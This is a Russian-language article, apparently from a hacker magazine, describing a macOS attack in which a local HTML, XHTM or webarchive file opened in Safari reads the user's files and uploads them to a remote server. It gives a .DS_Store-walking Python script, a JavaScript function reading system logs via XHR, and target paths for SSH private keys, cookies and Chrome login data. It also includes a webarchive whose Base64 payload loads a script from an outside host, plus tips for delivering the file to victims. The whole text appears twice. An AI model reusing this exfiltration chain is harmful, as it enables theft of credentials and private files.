О более сложный и эффективных атаках мы поговорим в нашем обучении.
Представь ситуацию: ты открываешь HTML-документ, и через какое-то время файлы с твоего жесткого диска оказываются у злоумышленника, притом абсолютно незаметно. Документы, код, SSH-ключи, пароли… Словом, улетают все файлы, которые ты, как текущий системный пользователь, имеешь право читать. Скажешь, невозможно? Современный браузер должен тебя защитить? Да, но у некоторых из них есть свои особенности.
В общих чертах атака работает следующим образом.
Тыкаться наугад — тоже не вариант: да, мы знаем несколько «важных» путей вроде ~/.ssh/id_rsa, но в большинстве случаев файловая система пользователя, открывающего нашу «злую» страницу, — темный лес.
На втором этапе мы, имея полный набор путей, должны каким-то образом выйти за границы песочницы браузера, прочесть локальные файлы и загрузить к себе на сервер.
Извлекаем список файлов
MacOS имеет забавную особенность. Если ты откроешь директорию с файлами, операционная система создаст специальный скрытый файл — .DS_Store. Этот файл хранит настройки просмотра папки в macOS, включает в себя информацию о расположении окна папки, размере окна, опции просмотра, которые были выбраны (значки, список или таблица), и внешний вид значков в окне. Система создает эти файлы автоматически. Другими словами, операционная система кеширует информацию о файлах для быстрого отображения директории.
В .DS_Store попадают превью изображений (как скрытый файл Thumbs.db в Windows), но в отличие от Windows в нем также содержатся имена файлов и директорий. Достаточно зайти в директорию с файлами, и операционка тут же создаст .DS_Store.
Служебный файл .DS_Store автоматически создается в директории, когда в нее заходишь
Что в этом примечательного? А то, что .DS_Store можно распарсить и получить названия всех файлов в каталоге. Для этого подойдет одноименный модуль DSStore для Python. Вот пример кода, реализующего чтение .DS_Store:
[SRC]
##!/usr/bin/env python
from ds_store import DSStore
import json
path = '/Users/USERNAME/.DS_Store'
def parse(file):
filelist = []
for i in file:
if i.filename!='.':
filelist.append(i.filename)
return list(set(filelist))
d=DSStore.open(path, 'r+')
fileresult=parse(d)
print(json.dumps(fileresult))
for name in fileresult:
try:
d = DSStore.open(path + name+ '/.DS_Store', 'r+')
fileresult = parse(d)
all.append(fileresult)
print(json.dumps(fileresult))
except:
pass
[/SRC]
Сохраним этот код в файл parse_ds_store.py и запустим. В моем случае результат работы выглядит как-то так:
[SRC]
$ python parse_ds_store.py
["Documents", "Pictures", ".idm", "Desktop", "Music", ".oracle_jre_usage", "Public", "tmp", "Parallels", "MEGA", ".BurpSuite", "Downloads", ".config", ".cache", "Applications", ".bash_sessions", "Creative Cloud Files", "PycharmProjects", "Applications (Parallels)", "Dropbox", "Nextcloud", ".iterm2", ".Trash", "Scripts", "Movies", "MEGAsync Downloads", "Soft", ".local", ".ssh", "Library", ".pgadmin"]
[/SRC]
Что мы видим? А мы видим имена файлов и папок в домашней директории. Узнав их, можно обращаться к каждой следующей директории, искать .DS_Store там и таким образом получать иерархию файлов и папок, не имея доступа к листингу директорий.
Для примера парсим домашнюю папку (~/.DS_Store), получаем подобное содержимое:
["Backups", "Soft", "Pictures", ".ssh" ...]
Обращаемся к ~/Backups/.DS_Store, получаем:
["2017", "2016", "2015", ...]
На следующей итерации ~/Backups/2017/.DS_Store:
["source", "sql", "static", ...]
И так далее.
Пара замечаний:
Предсказываем пути для чувствительных файлов
Что же еще есть ценного у пользователя? В первую очередь директория .ssh, куда обычно сваливаются закрытые ключи.
Для начала вспомним о таких путях:
Собираем куки и не только
Займемся сбором печенек. Во-первых, macOS имеет предсказуемые пути хранения данных об аккаунтах в директории.
Захватим и данные о HSTS — там найдутся посещенные сайты, которые вернули заголовок HSTS. Лишним не будет!
~/Library/Cookies/HSTS.plist
Информацию об аккаунтах в системе тоже заберем с собой.
~/Library/Accounts/Accounts4.sqlite
Ну и не Safari единым, обычно различные файлы и конфиги установленного софта лежат в пути
~/Library/Application Support/
Мы заберем только файлики Chrome:
~/Library/Application Support/Google/Chrome/Default/Login Data
~/Library/Application Support/Google/Chrome/Default/Cookies
~/Library/Application Support/Google/Chrome/Default/History
А ты пошарься, вдруг где хранятся интересные файлы каких-нибудь FTP/SQL-клиентов или история сообщений мессенджеров.
Получение полных путей к файлам пользователя
Что забрать с собой, мы уже выяснили. Теперь попробуем собрать эти файлы с помощью Safari.
В Chrome, к примеру, с ходу читать локальные файлы с помощью JavaScript не выйдет. Чтобы это сработало, Chrome нужно предварительно запустить со специальным аргументом (--disable-web-security). Safari тоже предупреждает, что работать с file:// он не умеет.
Просто так читать file:// в Safari нельзя
Однако если HTML не был скачан из интернета, Safari более лоялен к такому виду запросов — отправив с помощью XHR запрос к локальному файлу, мы получим его содержимое:
Благодаря этой особенности, зная полный путь к файлу, мы можем загрузить его содержимое и отправить на удаленный сервер!
Но вот незадача — как получить полный путь, если мы не знаем имя пользователя? А ведь в /etc/passwd вообще нет логинов пользователей (я проверял, да)!
Чтобы узнать имя пользователя, мы проверяем два log-файла, которые появляются, едва ты установишь и настроишь ОС (отдельное спасибо @f1nnix). Это файлы /var/log/system.log и /var/log/install.log. Не будет в одном — скорее всего, будет в другом. Загружаем эти файлы в браузер и с помощью регулярного выражения получаем имя пользователя.
Вот JS-функция для извлечения имени пользователя из файлов логов:
[SRC]
function getUser() {
var xhr = new XMLHttpRequest();
try {
xhr.open('GET', '/var/log/system.log;/https:%2f%2fgoogle.com/', false);
xhr.send();
return xhr.responseText.match(//Users/w+//g)[0];
} catch (e) {
xhr.open('GET', '/var/log/install.log;/https:%2f%2fgoogle.com/', false);
xhr.send();
return xhr.responseText.match(//Users/w+//g)[0];
}
}
[/SRC]
Отправляем файлы на сервер
А теперь соединяем первую часть статьи и возможность читать файлы. Для PoC делаем серверную часть, принимаем от пользователя путь и содержимое. Если это .DS_Store, отдаем еще пути на парсинг.
Можно попробовать сделать черные и белые списки, например чтобы не качать тяжелые фильмы или, наоборот, качать только файлы .docx.
Но что делать, если в системе установлены другие браузеры? HTML будет открыт с помощью Chrome или FF, и ничего не произойдет.
К счастью, есть пара расширений, которые открываются только Safari. Это XHTM и webarchive. Если с XHTM все понятно — это веб-страница на основе XML (а в нем можно выполнять JS), то с webarchive немного сложнее. Он имеет два формата, один из которых можно легко скрафтить вручную:
[SRC]
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>WebMainResource</key>
<dict>
<key>WebResourceData</key>
<data>
PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPSdodHRwczo
vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2NyaXB0Pj
wvYm9keT48L2h0bWw+
</data>
<key>WebResourceFrameName</key>
<string></string>
<key>WebResourceMIMEType</key>
<string>text/html</string>
<key>WebResourceTextEncodingName</key>
<string>UTF-8</string>
<key>WebResourceURL</key>
<string>file:///</string>
</dict>
</dict>
</plist>
[/SRC]
где data — это страница в Base64, в каждой строке которой 59 символов.
Возможности обхода ограничений флага Where from
По умолчанию для файлов, переданных по Сети, есть ограничение на выполнение такого кода.
Срабатывает защита
Это значит, что, если просто послать файл по почте, он может не сработать.
Хорошая новость заключается в том, что не все программы выставляют флаг при скачивании файла. К примеру, версия Telegram для macOS этого не делает. В ряде тестов нам удалось прочесть файлы пользователя «вредоносным» файлом XHTM, переданным через десктопную версию Telegram для macOS, причем без архивирования и защиты паролем.
Наверняка ты сможешь найти и другие примеры. И конечно же, готовый файл можно подсунуть жертве на физическом носителе во время проведения социотехнического тестирования. Готовый сервер, а также два вида HTML-файла с полезной нагрузкой найдешь в здесь.
Защита
На данный момент защиты от этой атаки нет. Могу посоветовать лишь смотреть, что открываешь, скачав из интернета, и по возможности не использовать браузер Safari. Apple, очевидно, не считает эту проблему уязвимостью, и на данный момент о патче ничего не слышно. Так что используй эту силу с умом.
Представь ситуацию: ты открываешь HTML-документ, и через какое-то время файлы с твоего жесткого диска оказываются у злоумышленника, притом абсолютно незаметно. Документы, код, SSH-ключи, пароли… Словом, улетают все файлы, которые ты, как текущий системный пользователь, имеешь право читать. Скажешь, невозможно? Современный браузер должен тебя защитить? Да, но у некоторых из них есть свои особенности.
В общих чертах атака работает следующим образом.
- Пользователь открывает HTML-страницу в браузере.
- Браузер читает список имеющихся на компьютере пользователя файлов.
- Браузер читает «важные» файлы и загружает их на удаленный сервер злоумышленника. При этом для пользователя весь процесс остается незаметным.
- получение информации о файлах удаленного компьютера;
- само чтение и отправка на наш сервер.
Тыкаться наугад — тоже не вариант: да, мы знаем несколько «важных» путей вроде ~/.ssh/id_rsa, но в большинстве случаев файловая система пользователя, открывающего нашу «злую» страницу, — темный лес.
На втором этапе мы, имея полный набор путей, должны каким-то образом выйти за границы песочницы браузера, прочесть локальные файлы и загрузить к себе на сервер.
Извлекаем список файлов
MacOS имеет забавную особенность. Если ты откроешь директорию с файлами, операционная система создаст специальный скрытый файл — .DS_Store. Этот файл хранит настройки просмотра папки в macOS, включает в себя информацию о расположении окна папки, размере окна, опции просмотра, которые были выбраны (значки, список или таблица), и внешний вид значков в окне. Система создает эти файлы автоматически. Другими словами, операционная система кеширует информацию о файлах для быстрого отображения директории.
В .DS_Store попадают превью изображений (как скрытый файл Thumbs.db в Windows), но в отличие от Windows в нем также содержатся имена файлов и директорий. Достаточно зайти в директорию с файлами, и операционка тут же создаст .DS_Store.
Служебный файл .DS_Store автоматически создается в директории, когда в нее заходишь
Что в этом примечательного? А то, что .DS_Store можно распарсить и получить названия всех файлов в каталоге. Для этого подойдет одноименный модуль DSStore для Python. Вот пример кода, реализующего чтение .DS_Store:
[SRC]
##!/usr/bin/env python
from ds_store import DSStore
import json
path = '/Users/USERNAME/.DS_Store'
def parse(file):
filelist = []
for i in file:
if i.filename!='.':
filelist.append(i.filename)
return list(set(filelist))
d=DSStore.open(path, 'r+')
fileresult=parse(d)
print(json.dumps(fileresult))
for name in fileresult:
try:
d = DSStore.open(path + name+ '/.DS_Store', 'r+')
fileresult = parse(d)
all.append(fileresult)
print(json.dumps(fileresult))
except:
pass
[/SRC]
Сохраним этот код в файл parse_ds_store.py и запустим. В моем случае результат работы выглядит как-то так:
[SRC]
$ python parse_ds_store.py
["Documents", "Pictures", ".idm", "Desktop", "Music", ".oracle_jre_usage", "Public", "tmp", "Parallels", "MEGA", ".BurpSuite", "Downloads", ".config", ".cache", "Applications", ".bash_sessions", "Creative Cloud Files", "PycharmProjects", "Applications (Parallels)", "Dropbox", "Nextcloud", ".iterm2", ".Trash", "Scripts", "Movies", "MEGAsync Downloads", "Soft", ".local", ".ssh", "Library", ".pgadmin"]
[/SRC]
Что мы видим? А мы видим имена файлов и папок в домашней директории. Узнав их, можно обращаться к каждой следующей директории, искать .DS_Store там и таким образом получать иерархию файлов и папок, не имея доступа к листингу директорий.
Для примера парсим домашнюю папку (~/.DS_Store), получаем подобное содержимое:
["Backups", "Soft", "Pictures", ".ssh" ...]
Обращаемся к ~/Backups/.DS_Store, получаем:
["2017", "2016", "2015", ...]
На следующей итерации ~/Backups/2017/.DS_Store:
["source", "sql", "static", ...]
И так далее.
Пара замечаний:
- тебе нужно знать имя пользователя в системе;
- файл .DS_Store создается только там, куда заходит пользователь.
Предсказываем пути для чувствительных файлов
Что же еще есть ценного у пользователя? В первую очередь директория .ssh, куда обычно сваливаются закрытые ключи.
Для начала вспомним о таких путях:
- ~/.ssh/id_rsa;
- ~/.ssh/id_rsa.key;
- ~/.ssh/id_rsa.pub;
- ~/.ssh/known_hosts;
- ~/.ssh/authorized_keys.
Собираем куки и не только
Займемся сбором печенек. Во-первых, macOS имеет предсказуемые пути хранения данных об аккаунтах в директории.
- ~/Library/Cookies/Cookies.binarycookies
- ~/Library/Cookies/com.apple.Safari.cookies
Захватим и данные о HSTS — там найдутся посещенные сайты, которые вернули заголовок HSTS. Лишним не будет!
~/Library/Cookies/HSTS.plist
Информацию об аккаунтах в системе тоже заберем с собой.
~/Library/Accounts/Accounts4.sqlite
Ну и не Safari единым, обычно различные файлы и конфиги установленного софта лежат в пути
~/Library/Application Support/
Мы заберем только файлики Chrome:
~/Library/Application Support/Google/Chrome/Default/Login Data
~/Library/Application Support/Google/Chrome/Default/Cookies
~/Library/Application Support/Google/Chrome/Default/History
А ты пошарься, вдруг где хранятся интересные файлы каких-нибудь FTP/SQL-клиентов или история сообщений мессенджеров.
Получение полных путей к файлам пользователя
Что забрать с собой, мы уже выяснили. Теперь попробуем собрать эти файлы с помощью Safari.
В Chrome, к примеру, с ходу читать локальные файлы с помощью JavaScript не выйдет. Чтобы это сработало, Chrome нужно предварительно запустить со специальным аргументом (--disable-web-security). Safari тоже предупреждает, что работать с file:// он не умеет.
Просто так читать file:// в Safari нельзя
Однако если HTML не был скачан из интернета, Safari более лоялен к такому виду запросов — отправив с помощью XHR запрос к локальному файлу, мы получим его содержимое:
Благодаря этой особенности, зная полный путь к файлу, мы можем загрузить его содержимое и отправить на удаленный сервер!
Но вот незадача — как получить полный путь, если мы не знаем имя пользователя? А ведь в /etc/passwd вообще нет логинов пользователей (я проверял, да)!
Чтобы узнать имя пользователя, мы проверяем два log-файла, которые появляются, едва ты установишь и настроишь ОС (отдельное спасибо @f1nnix). Это файлы /var/log/system.log и /var/log/install.log. Не будет в одном — скорее всего, будет в другом. Загружаем эти файлы в браузер и с помощью регулярного выражения получаем имя пользователя.
Вот JS-функция для извлечения имени пользователя из файлов логов:
[SRC]
function getUser() {
var xhr = new XMLHttpRequest();
try {
xhr.open('GET', '/var/log/system.log;/https:%2f%2fgoogle.com/', false);
xhr.send();
return xhr.responseText.match(//Users/w+//g)[0];
} catch (e) {
xhr.open('GET', '/var/log/install.log;/https:%2f%2fgoogle.com/', false);
xhr.send();
return xhr.responseText.match(//Users/w+//g)[0];
}
}
[/SRC]
Отправляем файлы на сервер
А теперь соединяем первую часть статьи и возможность читать файлы. Для PoC делаем серверную часть, принимаем от пользователя путь и содержимое. Если это .DS_Store, отдаем еще пути на парсинг.
Можно попробовать сделать черные и белые списки, например чтобы не качать тяжелые фильмы или, наоборот, качать только файлы .docx.
Но что делать, если в системе установлены другие браузеры? HTML будет открыт с помощью Chrome или FF, и ничего не произойдет.
К счастью, есть пара расширений, которые открываются только Safari. Это XHTM и webarchive. Если с XHTM все понятно — это веб-страница на основе XML (а в нем можно выполнять JS), то с webarchive немного сложнее. Он имеет два формата, один из которых можно легко скрафтить вручную:
[SRC]
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>WebMainResource</key>
<dict>
<key>WebResourceData</key>
<data>
PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPSdodHRwczo
vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2NyaXB0Pj
wvYm9keT48L2h0bWw+
</data>
<key>WebResourceFrameName</key>
<string></string>
<key>WebResourceMIMEType</key>
<string>text/html</string>
<key>WebResourceTextEncodingName</key>
<string>UTF-8</string>
<key>WebResourceURL</key>
<string>file:///</string>
</dict>
</dict>
</plist>
[/SRC]
где data — это страница в Base64, в каждой строке которой 59 символов.
Возможности обхода ограничений флага Where from
По умолчанию для файлов, переданных по Сети, есть ограничение на выполнение такого кода.
Срабатывает защита
Это значит, что, если просто послать файл по почте, он может не сработать.
Хорошая новость заключается в том, что не все программы выставляют флаг при скачивании файла. К примеру, версия Telegram для macOS этого не делает. В ряде тестов нам удалось прочесть файлы пользователя «вредоносным» файлом XHTM, переданным через десктопную версию Telegram для macOS, причем без архивирования и защиты паролем.
Наверняка ты сможешь найти и другие примеры. И конечно же, готовый файл можно подсунуть жертве на физическом носителе во время проведения социотехнического тестирования. Готовый сервер, а также два вида HTML-файла с полезной нагрузкой найдешь в здесь.
Защита
На данный момент защиты от этой атаки нет. Могу посоветовать лишь смотреть, что открываешь, скачав из интернета, и по возможности не использовать браузер Safari. Apple, очевидно, не считает эту проблему уязвимостью, и на данный момент о патче ничего не слышно. Так что используй эту силу с умом.
